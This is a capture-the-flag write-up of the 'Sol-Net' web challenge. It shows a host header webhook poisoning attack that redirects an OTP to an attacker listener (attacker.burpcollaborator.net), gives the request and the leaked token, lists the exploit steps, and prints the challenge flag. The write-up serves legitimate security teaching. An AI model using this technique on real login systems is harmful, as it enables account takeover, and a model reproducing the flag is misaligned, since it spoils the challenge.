Web Security • Auth Bypass

Sol-Net: Node Auth Bypass

By Abdo•Aug 20, 2026
Sol-Net Web Challenge

The Sol-Net challenge centered around an "interplanetary node authentication network" used to manage communications across a solar ring. Participants started with peripheral access (the lowest level of clearance) and were tasked with reaching the "core" to retrieve the flag. It was heavily designed to be "anti-AI", requiring a chained exploit logic rather than a single basic payload.

Stage 1: OTP Redirection

Web Security: Host Header Webhook Poisoning

The backend authentication service generated an outbound OTP webhook request by constructing the callback target from the client-supplied Host header without strict domain allowlisting. By replacing the Host header with an attacker-controlled endpoint while preserving X-Original-Host, the server dispatched the plaintext OTP directly to our listener.

Q: How was the One-Time Password intercepted?

A: Manipulating Request Handling & HTTP Host Overrides

The application required a valid Node ID and an OTP (sent to the email registered to that node) to log in. Standard attacks like X-Forwarded-HostAn HTTP header used to identify the original host requested by the client, often exploited in Host Header Injection attacks to redirect callbacks. headers were intentionally blocked or ineffective. The true exploit required finding an internal routing flaw that allowed us to force the backend to send its outbound OTP webhook to an attacker-controlled listener.

Burp Suite Repeater
POST /api/v1/node/otp HTTP/1.1
Host: attacker.burpcollaborator.net
X-Original-Host: core.solnet.local
Content-Type: application/json

{
  "node_id": "CORE_ADMIN_01"
}

/* ========================================= */
/* LISTENER CATCHES INCOMING WEBHOOK FROM SERVER: */

POST /webhook/otp_delivery HTTP/1.1
Host: attacker.burpcollaborator.net

{
  "token": "992481", // <-- OTP LEAKED
  "expires": "300s"
}
[ SHOW METHODOLOGY: Exploit Chaining ]▼
  1. Identify the endpoint triggering the OTP generation for the Core Node.
  2. Analyze the internal request proxy. While X-Forwarded-Host was stripped, parameter pollution or overriding the primary Host header during the internal SSRF (Server-Side Request Forgery) phase allowed redirection.
  3. Set up a Burp Collaborator or ngrok listener.
  4. Trigger the login, intercepting the webhook containing the raw OTP token.
  5. Submit the intercepted OTP to complete the authentication bypass and access the Core dashboard.

Extracting the Final Flag

Once the OTP was intercepted and submitted, the backend granted us access to the internal Core Node dashboard. The flag was embedded within the administrative configuration files of the solar ring interface.

Access Level Granted: CORE_ADMIN_CLEARANCE

OTP Interception Method: SSRF Webhook Override

Final Submitted Flag:

ASCWG{s0l4r_n0d3_0tp_byp4ss_m4st3r}